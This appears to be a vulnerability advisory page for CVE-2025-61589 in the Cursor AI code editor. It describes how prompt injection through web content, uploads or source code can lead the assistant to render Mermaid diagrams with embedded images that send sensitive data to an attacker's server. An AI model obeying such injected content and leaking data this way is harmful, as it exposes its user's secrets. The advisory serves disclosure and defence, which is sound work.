CVE-2025-61589: Cursor data exfiltration through Mermaid image rendering in chat

Summary

CVE-2025-61589 affects Cursor, a code editor built for programming with AI, in versions 1.6 and below. Mermaid diagram rendering allows embedded images that Cursor renders in the chat box, and an attacker can use this after a successful prompt injection to exfiltrate sensitive information to an attacker-controlled server through an image fetch. A malicious model, hallucination or backdoor might also trigger the exploit, and the issue requires prompt injection from malicious data such as web content, image uploads or source code. Additional bypasses not covered by the initial fix were found and are described in GHSA-43wj-mwcc-x93p.

Mitigation

Fixed in version 1.7.

Topics

• Prompt injection and jailbreaks

Related items

• InfoTop agent skill security resources — November 2026Similar attack · Adversa AI Blog
• InfoHow to Turn AI Red Team Findings Into Runtime ControlsSimilar attack · Straiker Blog
• MediumDocker Sandboxes vulnerability lets AI agents access sensitive files outside their sandbox (CVE-2026-103916) | Endor LabsSimilar attack · Endor Labs Blog
• MediumGoogle: LLMjacking attacks rack up $1 million in cloud AI chargesSimilar attack · BleepingComputer
• MediumFree the Model, Sell the Gateway: Prompt Adware hidden in Jailbreak BundlesSimilar attack · Check Point Research